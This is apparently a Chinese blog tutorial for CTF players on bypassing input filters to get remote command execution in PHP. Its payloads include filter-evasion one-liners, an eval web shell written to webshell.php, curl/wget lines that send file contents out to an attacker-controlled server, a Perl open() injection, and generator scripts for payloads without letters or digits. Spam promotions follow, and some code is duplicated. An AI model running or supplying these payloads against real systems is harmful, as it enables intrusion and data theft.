命令执行(RCE)面对各种过滤,骚姿势绕过总结

1、什么是RCE

RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

2、RCE产生原因

服务器没有对执行命令的函数做严格的过滤,最终导致命令被执行。

3、命令执行函数

PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

4、面对过滤绕过方法

1、过滤关键字,如过滤 cat,flag等关键字

替代法

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

使用转义符号

ca\t /fl\ag
cat fl''ag

拼接法

a=fl;b=ag;cat$IFS$a$b

img

使用空变量KaTeX parse error: Undefined control sequence: \* at position 1: \̲*̲和@, x , x, x,{x}绕过

img

反引号绕过

img

编码绕过

1、Base64

img

2、8进制

3、16进制

正则表达式绕过

img

利用未初始化变量$u让绕过

2、过滤命令执行函数,如过滤system()

编码绕过

img

内敛执行绕过

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

img

3、过滤一些读取文件的命令(如cat)

绕过方法

[root@kali flag123]# curl file:///flag123/flagflag{suifeng}[root@kali flag123]# strings flag flag{suifeng}[root@kali flag123]# uniq -c flag1 flag{suifeng}[root@kali flag123]# bash -v flagflag{suifeng}flag: line 1: flag{suifeng}: command not found[root@kali flag123]# rev flag}gnefius{galf[root@kali flag123]#

find – 列出当前目录下的文件以及子目录所有文件

img

4、过滤空格

%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}

5、过滤目录分割符

采用多管道命令绕过
127.0.0.1||cd flag_is_here;cat flag_262431433226364.php

img

6、过滤分割符 | & ;

  ;  //分号|  //只执行后面那条命令||  //只执行前面那条命令&  //两条命令都会执行&&  //两条命令都会执行%0a      //换行符%0d     //回车符号用?>代替;在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。

7、过滤括号

8、输入字符串长度限制

img

#  \指的是换行#  ls -t是将文本按时间排序输出#  ls -t >shell  将输出输入到shell文件中#  sh将文本中的文字读取出来执行

9、利用$PATH环境变量绕过

利用环境变量来截取字母达到绕过过滤

img

假如数字被过滤,我们还可以利用环境变量的长度来进一步绕过过滤

for i in `env`; do echo -n "${i%=*} lenth is
";echo ${i#*=}|awk '{print length($0)}'; done |grep 5 

img

img

10、无回显

一、Shell_exec等无回显函数

方法一、

1、判断是否执行成功我们可以用sleep()

eg:ls;sleep(5);

2、用压缩、复制、写shell等方法对其进行绕过(此处要注意权限,看是否有写的权限)

copy flag 1.txtmv flag 1.txtcat flag > 1.txttar zcvf flag.tar.gz flagecho 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.phpecho "<?php @eval($_POST['suifeng']); ?>" > webshell.php

利用上述操作产生新的文件,然后我们在对新的文件进行访问

img

img

img

img

方法二、

用vps建立记录脚本

1、首先在自己的公网ip的网站目录下建立一个record.php的文件,里面写下如下代码

<?php$data =$_GET['data'];$f = fopen("flag.txt", "w");fwrite($f,$data);fclose($f);?>

2、第二步我们开始构造请求

  curl http://*.*.*.**/record.php?data=`cat flag`wget http://*.*.*.*/record.php?data=`cat flag`

测试

这里是上帝视角(为了师傅们更直观理解)

首先看目标网站上的文件

img

接下来看自己服务器上的文件

img

我们在目标站点执行如下命令

img

这样我们在自己的服务器上就会产生一个flag.txt文件,然后进行查看

img

有时会读取不全,这里我没碰到,读取不全的话我们可以进行一个编码,如下。

curlhttp://*.*.*.**/record.php?data=`catflag|base64`
wgethttp://*.*.*.*/record.php?data=`catflag|base64`

更多参考https://blog.csdn.net/qq_43625917/article/details/107873787

二、>/dev/null 2>&1类无回显

代码中插入了>/dev/null 2>&1,“>/dev/null 2>&1”的作用就是不回显。

img

该种无回显我们用分隔符进行分割即可绕过

img

11、Perl中open命令执行(GET)

源码

192.168.122.180 <?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}echo $_SERVER["REMOTE_ADDR"];$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox);@chdir($sandbox);$data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir  = str_replace(".", "", basename($info["dirname"]));@mkdir($dir);@chdir($dir);@file_put_contents(basename($info["basename"]), $data);highlight_file(__FILE__);

代码审计

首先$_SERVER方式把HTTP_X_FORWARDED_FOR给请求过来,然后通过explode函数分割,在把ip地址截取出来,在用echo函数输出出来,这就是我们第一行看到的IP地址

img

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);

sandbox变量为sandbox/后面拼接一个(orange拼接输出的ip)的MD5值在通过

@mkdir($sandbox);

@chdir($sandbox);

创建sandbox这个目录

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

这里的GET不是我么平常的GET方法传参,这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理

首先我们到kali里面去测试一下这个GET有什么作用

img

这里GET一个根目录,功能类似于ls把它给列出来

可以读取文件

img

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

那么这句代码的意思就是,把shell_exec中GET过来的结果保存到escapeshellarg中用get(此处get为get请求)接收的参数中,并且这个参数是可以在shell命令里使用的参数。

然后用pathinfo函数分割get过来的filename,最后替换点,截取前面目录,最终用file_put_contents函数把之前$data给写进这个目录里面。知道了代码的流程我们就可以构造我们的参数了。

构造参数

首先我们GET根目录且让其放进test目录里

img

然后我们对其访问,路径是sandbox+拼接的MD5值+test

img

根目录下有flag和readflag文件,但是打不开,我们要利用readflag去读取flag,接下来就到我们标题所说的

Perl中open命令执行(GET)内容了。

因为GET的底层是使用open函数的,如下

file.pm
84: opendir(D, $path) or
132:    open(F, $path) or returnnew

而这个open函数会导致我们的RCE,最终造成GET的RCE

img

因为GET使用file协议时候会调用perl中的open函数

img

这里够造了好久也没构造出来,看了下wp,执行命令需要满住如下条件

要执行的命令先前必须要有以命令为文件名的文件存在(这里不是很理解,大佬可以告知一下)

既然要满住这个条件,那我们构造的payload如下

1、?url=&filename=|/readflag
2、?url=file:|/readflag&filename=test 

最终访问拿到flag

img

test 

最终访问拿到flag

12、无字母数字RCE

代码示例

<?phperror_reporting(0);highlight_file(__FILE__);$code=$_GET['code'];if(preg_match('/[a-z0-9]/i',$code)){die('hacker');}eval($code);

代码分析

这里先代码很好理解接收一个code参数,进行一个正则匹配,匹配所哟的字母和数字,匹配到了结果返回一个hacker字符串,且结束代码。

这里很明显要绕过这个正则然后运行eval函数达到我们的命令执行

绕过(这里我们利用异或、或、取反等操作进行绕过)

1、异或—首先利用如下脚本生成包含所有可见字符的异或构造结果。

<?php$myfile = fopen("res.txt", "w");$contents="";for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}}fwrite($myfile,$contents);fclose($myfile);

运行python脚本生成我们的payload

import requestsimport urllibfrom sys import *import osdef action(arg):s1=""s2=""for i in arg:f=open("res.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

运行结果

("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%04%09%09"^"%60%60%7b");

img

img

这里注意一下php的版本,尽量选择php的高版本,低版本可能会导致执行不成功

2、或—原理一样就是脚本稍微改变一下

<?php$myfile = fopen("res.txt", "w");$contents="";for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}}fwrite($myfile,$contents);fclose($myfile);

python脚本

import requestsimport urllibfrom sys import *import osdef action(arg):s1=""s2=""for i in arg:f=open("or_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

3、取反—取反用的字符不会触发正则表达式,所以我们直接用php脚本生成payload即可

<?php  //在命令行中运行fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';?>

img

          if t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)
**3、取反---取反用的字符不会触发正则表达式,所以我们直接用php脚本生成payload即可**```text
<?php  //在命令行中运行fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';?>

[外链图片转存中…(img-DrpcWCW4-1720519522680)]

img
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】

在这里插入图片描述

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】

在这里插入图片描述

(都打包成一块的了,不能一一展开,总共300多集)

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】

在这里插入图片描述

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

在这里插入图片描述

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN,也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/43530.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软件项目运维服务方案(Word原件)

1.项目情况 2.服务简述 2.1服务内容 2.2服务方式 2.3服务要求 2.4服务流程 2.5工作流程 2.6业务关系 2.7培训 3.资源提供 3.1项目组成员 3.2服务保障 软件文档全套下载&#xff1a;本文末个人名片直接获取或者进主页。

喝酒骰子夜店手灯轮盘扫雷鳄鱼拆弹你演我猜小游戏流量主小程序开源版开发

喝酒骰子夜店手灯轮盘扫雷鳄鱼拆弹你演我猜小游戏流量主小程序开源版开发 喝酒摇骰子、轮盘、扫雷大战、夜店手灯、鳄鱼拔牙、喝酒大叔、指尖光环、拆弹英雄、幸运转转转、你演我猜、眼疾手快、占领方块、你演我猜。 喝酒骰子类小程序通常包含多种互动游戏和娱乐功能&#xf…

深入剖析数据库索引

写在前面&#xff1a; 此博客内容已经同步到我的博客网站&#xff0c;如需要获得更优的阅读体验请前往https://mainjaylai.github.io/Blog/blog/database 文章目录 如何验证我们正在使用InnoDB引擎 主键如果你没有自己创建任何主键会发生什么&#xff1f;关键字和索引之间的区别…

HR8870:H桥PWM直流电机驱动IC性能指标和应用方案选型

HR8870芯片描述 HR8870是一款直流有刷电机驱动器&#xff0c;适用于打印机、电器、工业设备以及其他小型机器。两个逻辑输入控制H桥驱动器&#xff0c;该驱动器由四个N-MOS组成&#xff0c;能够以高达4.5A的峰值电流双向控制电机。利用电流衰减模式&#xff0c;可通过对输入进行…

vue3实现简单登录页面

使用 Vue3 ts scss element-plus 实现简单的用户登录界面&#xff0c;登录方式包括&#xff1a;手机验证码登录、手机账号密码登录、扫码登录&#xff0c;效果如下图所示&#xff1a; 详细代码&#xff1a; 模版部分 <template><div class"login">&l…

阿里云Elasticsearch-趣味体验

阿里云Elasticsearch-趣味体验 什么是阿里云Elasticsearch阿里云Elasticsearch开通服务查看Elasticsearch实例配置Kibana公网IP登录Elasticsearch添加测试数据 Kibana数据分析查看数据字段筛选数据页面条件筛选KQL语法筛选保存搜索语句导出筛选结果指定列表展示字段写在最后 什…

(硬件05)电流检测中运放的“虚短”与“虚断”

本文目录 本篇前言知识点讲解软件仿真 本篇前言 运放&#xff0c;全称是运算放大器&#xff0c;一般的用法是用来发大电信号的&#xff0c;本篇讲解到的就是通过运算放大器将大电流流过采样电阻后的电压进行放大后输出给单片机的ADC&#xff0c;单片机根据ADC的值&#xff08…

Commons-Collections篇-CC7链

前言 和CC5反序列化链相似&#xff0c;CC7也是后半条LazyMap执行命令链不变&#xff0c;但是中间过程通过AbstractMap.equals()触发LazyMap.get()方法 环境 我们可以接着使用之前已经搭建好的环境&#xff0c;具体过程可以看CC1分析文章的环境安装部分 Commons-Collections篇…

leecode-动态规划-基础题目

一、简述 DP&#xff0c;如果某一问题有很多重叠子问题&#xff0c;使用动态规划是最有效的。 所以动态规划中每一个状态一定是由上一个状态推导出来的 重点&#xff1a;状态转移公式 二、一维 1、[509]斐波那契数 2、[70]爬楼梯 dp[i]可有dp[i-1]再爬一级台阶dp[i-2]再…

手表名表维修开单系统软件教程,佳易王钟表养护维护保养记录开单软件操作教程

手表名表维修开单系统软件教程&#xff0c;佳易王钟表养护维护保养记录开单软件操作教程 以下软件操作教程以&#xff0c;佳易王钟表养护维修管理系统软件为例说明 软件文件下载可以点击最下方官网卡片——软件下载——试用版软件下载 一、软件程序操作教程 1、佳易王钟表维…

第2章 信息技术知识

第2章 信息技术知识 本章简要叙述了信息技术相关基础知识&#xff0c;包含软件工程、面向对象系统分析与设计、应用集成技术、计算机网络技术和新一代信息技术内容。 2.1 软件工程 随着所开发软件的规模越来越大、复杂度越来越高&#xff0c;加之用户需求又并不十分明确&…

k8s上部署单节点apache-lotdb

一、yaml文件 使用的nfs的动态存储类&#xff0c;需要提前搭建。 # cat lotdb.yaml apiVersion: v1 kind: PersistentVolumeClaim metadata:name: logsnamespace: lotdb spec:storageClassName: "nfs-client"accessModes:- ReadWriteManyresources:requests:storag…

Spring Session 多服务Session共享

在新项目中需要开发单点登录功能&#xff0c;单点登录服务端提供方使用的是CAS技术&#xff0c;是根据Session来判断用户是否完成了登录操作的。Session是保存在服务器本地内存中的&#xff0c;而我的项目是需要多服务部署的&#xff0c;这就意味着会部署在不同的服务器中&…

淘宝商品历史价格查询(免费)

当前资料来源于网络&#xff0c;禁止用于商用&#xff0c;仅限于学习。 淘宝联盟里面就可以看到历史价格 并且没有加密 淘宝商品历史价格查询可以通过以下步骤进行&#xff1a; 先下载后&#xff0c;登录app注册账户 打开淘宝网站或淘宝手机App。在搜索框中输入你想要查询的商…

【问题记录】Windows中Node的express无法直接识别

问题描述 在使用express_generator的时候windows平台中出现无法识别express命令的问题&#xff0c;另外就算添加了全局环境变量也没用。 问题解决 查看官方文档发现在node版本8之前的时候使用的是express&#xff0c;但是之后的版本使用npx&#xff0c;这个工具的出现主要想…

keil mdk注释插件合集格式、时间、日期注释

文章目录 一、前言二、安装步骤2.1 解压tools.zip2.2 tools 文件解释2.3 添加注释带keil 三、配置3.1 格式化代码3.2 文件注释3.3函数注释3.4 当前日期3.5 当前时间 四、编辑注释模板4.1 编辑函数注释模板4.2 编辑C文件注释模板4.3 编辑h文件注释模板 五、为注释功能添加快捷键…

【Kubernetes安装】从零开始使用kubeadm命令工具部署K8S v1.28.2 集群

文章目录 一、虚拟机配置参数说明二、kubernetes v1.28.2版本介绍三、CentOS 7.9 系统初始化配置3.1 配置CentOS系统基础环境3.1.1 配置hosts3.1.2 永久关闭selinux3.1.3 关闭swap分区3.1.4 所有节点全部关闭防火墙3.1.5 配置ntp server同步时间3.1.6 添加kubernetes镜像源 3.2…

12--RabbitMQ消息队列

前言&#xff1a;前面一章内容太多&#xff0c;写了kafka&#xff0c;这里就写一下同类产品rabbitmq&#xff0c;rabbitmq内容较少&#xff0c;正好用来过度一下&#xff0c;概念还是会用一些例子来说明&#xff0c;实际部署的内容会放在概念之后。 1、基础概念 1.1、MQ消息队…

CSS原子化

目录 一、定义 二、原子化工具 2.1、tailwind 2.1.1、以PostCss插件形式安装 2.1.2、不依赖PostCss安装 2.1.3、修改原始配置 2.2、unocss 三、优缺点 3.1、优点 3.2、缺点 一、定义 定义&#xff1a;使用一系列的助记词&#xff0c;利用类名来代表样式。 二、原子化…

uniapp——银行卡号脱敏

样式 代码 {{bankNumber.replace(/(\d{4})(?\d)/g, "●●●● ").replace(/(\d{2})(?\d{2}$)/, " $1")}} 将银行卡号按照每四位一组的方式进行处理&#xff0c;前面的变成 剩下的正常显示